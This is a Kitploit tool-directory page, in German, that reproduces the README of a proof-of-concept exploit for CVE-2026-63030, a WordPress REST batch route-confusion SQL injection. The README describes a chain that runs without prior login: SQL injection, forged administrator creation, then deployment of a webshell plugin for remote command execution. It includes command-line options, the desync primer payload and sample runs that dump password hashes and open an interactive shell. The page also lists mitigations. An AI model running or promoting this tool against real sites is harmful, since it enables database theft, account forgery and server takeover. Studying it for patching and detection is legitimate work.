Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST-Batch-Routen-Verwechslung SQL-Injection Proof of Concept | Kitploit
Tools/GitHubGitHub/ch4120n/cve-2026-63030
SchwachstellenscannerExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST-Batch-Routen-Verwechslung SQL-Injection Proof of Concept

Repository anzeigen
231vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-63030

WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) Proof of Concept
Recherche, Exploit-Entwicklung & Dokumentation von Ch4120N

CVE Python License Status


⚠️ Rechtlicher Haftungsausschluss

Dieses Repository und das dazugehörige Tool (exploit.py) sind ausschließlich für Bildungszwecke, autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Die Verwendung dieses Exploits gegen Ziele ohne ausdrückliche, vorherige, schriftliche Genehmigung ist illegal und verstößt weltweit gegen Gesetze zu Computerbetrug und -missbrauch. Der Autor (Ch4120N) übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieses Codes entstehen. Handeln Sie stets im Rahmen des Gesetzes und holen Sie die entsprechende Genehmigung ein.


📖 Schwachstellenübersicht: CVE-2026-63030

CVE-2026-63030 ist eine kritische, nicht authentifizierte Schwachstelle, die die WordPress-REST-API betrifft. Sie nutzt einen Route-Confusion-Bug im verschachtelten Batch-Verarbeitungsendpunkt (/wp-json/batch/v1 oder /?rest_route=/batch/v1).

Die Grundursache

Wenn WordPress einen Batch von REST-API-Anfragen verarbeitet, validiert es jede Unteranfrage vor der Ausführung gegen ihr spezifisches Schema. Aufgrund eines Fehlers in der Art und Weise, wie der interne Routing-Zeiger absichtlich fehlerhafte Pfade (z. B. ///) verarbeitet, wird das Validierungsschema vom tatsächlichen Ausführungs-Handler desynchronisiert.

Die Angriffskette

  1. Route Confusion & SQLi: Ein Angreifer injiziert eine verschachtelte Batch-Payload. Die Desynchronisierung führt dazu, dass eine Anfrage, die auf den /wp/v2/users-Endpunkt abzielt (der author_exclude nicht akzeptiert), vom /wp/v2/posts-Handler ausgeführt wird. Der nicht bereinigte Parameter author_exclude wird direkt an die author__not_in-Klausel von WP_Query übergeben, was zu einer nicht authentifizierten SQL-Injection führt.
  2. Pre-Auth-Administratorerstellung: Die SQLi wird verwendet, um die Datenbank auszulesen und oembed_cache-Beitrags-IDs zu identifizieren. Der Exploit verwendet dann eine Customizer-changeset-Payload, um den Navigationsmenü-Cache zu vergiften und WordPress dazu zu bringen, eine Benutzererstellungsanfrage im Kontext eines bestehenden Administrators auszuführen.
  3. Remote Code Execution (RCE): Mit einem neu gefälschten Administrator-Konto authentifiziert sich das Tool, lädt ein randomisiertes, token-geschütztes PHP-Webshell-Plugin hoch, führt Betriebssystembefehle aus und entfernt anschließend sicher alle Spuren.

Betroffene Versionen

  • WordPress 6.9.0 bis 6.9.4
  • WordPress 7.0.0 bis 7.0.1 (Hinweis: Ältere Versionen können je nach spezifischen Plugin-Konfigurationen und REST-API-Backports anfällig sein).

🚀 Funktionen

  • Keine Abhängigkeiten: 100 % Python-3-Standardbibliothek. Kein pip install erforderlich.
  • Single File Modular: Alle Komponenten (Client, SQLi, Exploit, Shell, CLI) sind übersichtlich in einem einzigen portablen Skript (exploit.py) organisiert.
  • Multi-Technique SQL Extraction: Fällt automatisch auf die schnellste verfügbare Methode zurück:
    1. UNION-basiert: In-Band-Extraktion durch Erstellen einer gefälschten WP_Post-Zeile (1 Anfrage pro Wert).
    2. Fehlerbasiert: Nutzt EXTRACTVALUE()-XPATH-Fehler, wenn WP_DEBUG_DISPLAY aktiviert ist.
    3. Blind (Boolean/Timing): Binärsuche-basierte Zeichenextraktion mit konfigurierbaren Sleep-Verzögerungen.
  • Automatisierte Pre-Auth-Brücke: Keine vorhandenen Anmeldeinformationen erforderlich; das Tool erstellt spontan ein eigenes Administrator-Konto.
  • Ephemere Webshell: Erzeugt einen eindeutigen Plugin-Slug und ein kryptographisch sicheres Token. Die Shell verweigert die Ausführung ohne das Token und zerstört sich nach der Verwendung selbst.
  • Automatische Bereinigung: Löscht beim Beenden automatisch das gefälschte Administrator-Konto und entfernt das Webshell-Plugin-Verzeichnis.
  • Interaktive REPL: Bietet ein Pseudo-Terminal, das den Zustand des entfernten Arbeitsverzeichnisses beibehält (cd-Unterstützung).

📦 Installation & Anforderungen

Es sind keine Drittanbieter-Pakete erforderlich. Stellen Sie sicher, dass Python 3.8 oder höher installiert ist.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 Detaillierte Verwendung & Optionen

Der Exploit ist in drei Hauptunterbefehle unterteilt: check, read und shell.

Globale Optionen

Diese Optionen gelten für alle Unterbefehle:

OptionBeschreibungStandard
urlZiel-Basis-URL (z. B. http://target.com)Erforderlich
--rest-routeVerwendet /?rest_route=/batch/v1 anstelle von /wp-json/batch/v1 (für Seiten mit deaktivierten Permalinks).False
--timeoutHTTP-Anfrage-Timeout in Sekunden.30.0
--proxyHTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080).None

1. check - Schwachstellenerkennung

Prüft das Ziel sicher, um das Vorhandensein der Route-Confusion-Marker zu bestätigen, und testet das SQLi-Timing, ohne Daten zu extrahieren.

OptionBeschreibungStandard
--sleepSQL-Timing-Verzögerung (Sekunden), die vom --confirm-sqli-Fallback verwendet wird.3.0
--samplesAnzahl der zu testenden Basis-/Verzögerungs-SQL-Timing-Paare.3
--confirm-sqliSendet eine aktive SQLi-Bestätigungs-Payload (fügt eine kleine Verzögerung hinzu).False

2. read - Datenbankextraktion

Extrahiert Daten direkt über die SQL-Injection aus der Datenbank.

OptionBeschreibungStandard
--presetSchnelle Extraktionsvoreinstellungen: fingerprint (Version/Benutzer/DB) oder users (Logins/Hashes).fingerprint
--queryFührt einen benutzerdefinierten skalaren SQL-Ausdruck aus (z. B. "SELECT @@version").None
--prefixPräfix der Datenbanktabellen.wp_
--max-lengthMaximale Zeichenanzahl, die pro Wert extrahiert wird.128
--techniqueExtraktionstechnik: auto, union, error oder blind.auto

3. shell - Remote Code Execution

Stellt die Webshell bereit und führt Befehle aus. Wenn keine Anmeldedaten bereitgestellt werden, löst es automatisch die Pre-Auth-Brücke zur Administratorerstellung aus.

OptionBeschreibungStandard
--userAdmin-Benutzername. (Weglassen, um die Pre-Auth-Brücke zu verwenden).None
--passwordAdmin-Passwort. (Weglassen, um die Pre-Auth-Brücke zu verwenden).None
--cmdEin einzelner Befehl, der auf dem Ziel ausgeführt werden soll.None
-i, --interactiveÖffnet nach der Bereitstellung eine interaktive Shell (REPL).False

🖥️ Ausführungsnachweise & Beispiele

Nachfolgend finden Sie reale Beispiele des Tools in Aktion.

Beispiel 1: Überprüfung auf Schwachstellen

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Beispiel 2: Extrahieren des Datenbank-Fingerprints

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Beispiel 3: Auslesen von Benutzeranmeldeinformationen

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Beispiel 4: Erlangen einer interaktiven Shell (Pre-Auth)

Beachten Sie, wie das Tool automatisch ein Admin-Konto erstellt, die Shell bereitstellt und nach dem Beenden aufräumt.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Technischer Deep Dive

Die Desync-Grundlagen

Der Kern des Exploits beruht auf der Injektion von _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Diese ungültige URL zwingt das interne Routing von WordPress, für die erste Unteranfrage einen WP_Error zu erzeugen. Dadurch wird der interne Zeiger verschoben, sodass die zweite Unteranfrage gegen ein Schema validiert, aber vom Handler der dritten Unteranfrage ausgeführt wird. Auf diese Weise wird der Parameter author_exclude in die WP_Query geschmuggelt.

UNION-Fake-Post-Primitive

Statt langsamer Blind-SQLi verwendet das Tool ein UNION SELECT, um eine vollständig ausgebildete, gefälschte wp_posts-Zeile zu injizieren. Durch das Setzen von orderby=none und per_page=500 wird verhindert, dass WP_Query die Abfrage aufteilt. Der injizierte post_title enthält das hex-kodierte Ergebnis des Ziel-SQL-Ausdrucks, umgeben von ||-Trennzeichen, das direkt in der JSON-Antwort der REST-API wiedergegeben wird.

Webshell-OpSec

Das bereitgestellte PHP-Plugin ist auf hohe Tarnung ausgelegt:

  • Randomisiertes Verzeichnis und Dateiname (z. B. wp_a1b2c3d4.php).
  • Erfordert ein 32 Zeichen langes Hex-Token (t) und einen Befehl (c) über GET-Parameter.
  • Verwendet hash_equals(), um Timing-Angriffe auf das Token zu verhindern.
  • Wechselt automatisch das Verzeichnis (chdir), um die Offenlegung von Pfaden zu verhindern.
  • Die Ausgabe wird in EXPLOIT::...::END-Marker eingebettet, damit der Python-Client sie sauber parsen kann.

🛡️ Gegenmaßnahmen & Behebung

  1. WordPress aktualisieren: Aktualisieren Sie WordPress sofort auf 7.0.2 oder höher, das den Patch für CVE-2026-63030 enthält.
  2. Batch-Endpunkt deaktivieren: Wenn der Batch-Endpunkt nicht ausdrücklich benötigt wird, deaktivieren Sie ihn über ein Must-Use-Plugin (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Web Application Firewall (WAF): Implementieren Sie Regeln, um Folgendes zu blockieren:
    • Verschachtelte /batch/v1-Anfragen, die author_exclude in der URI enthalten.
    • Anfragen, die UNION, SLEEP() oder EXTRACTVALUE in URL-Parametern enthalten.
    • Fehlerhafte Pfade wie /// in REST-API-Anfragen.
  4. WP_DEBUG_DISPLAY deaktivieren: Stellen Sie sicher, dass WP_DEBUG_DISPLAY in wp-config.php auf false gesetzt ist, um Datenlecks durch fehlerbasierte SQLi zu verhindern.

📜 Credits & Danksagungen

  • Schwachstellenforschung & Exploit-Entwicklung: Ch4120N
  • Konzeptinspiration: WordPress-REST-API-Route-Confusion, oEmbed-Cache-Vergiftung und Customizer-changeset-Primitive.

"Mit großer Macht kommt große Verantwortung. Nutzen Sie dieses Wissen, um zu verteidigen, nicht um zu zerstören."
— Ch4120N

Tool herunterladen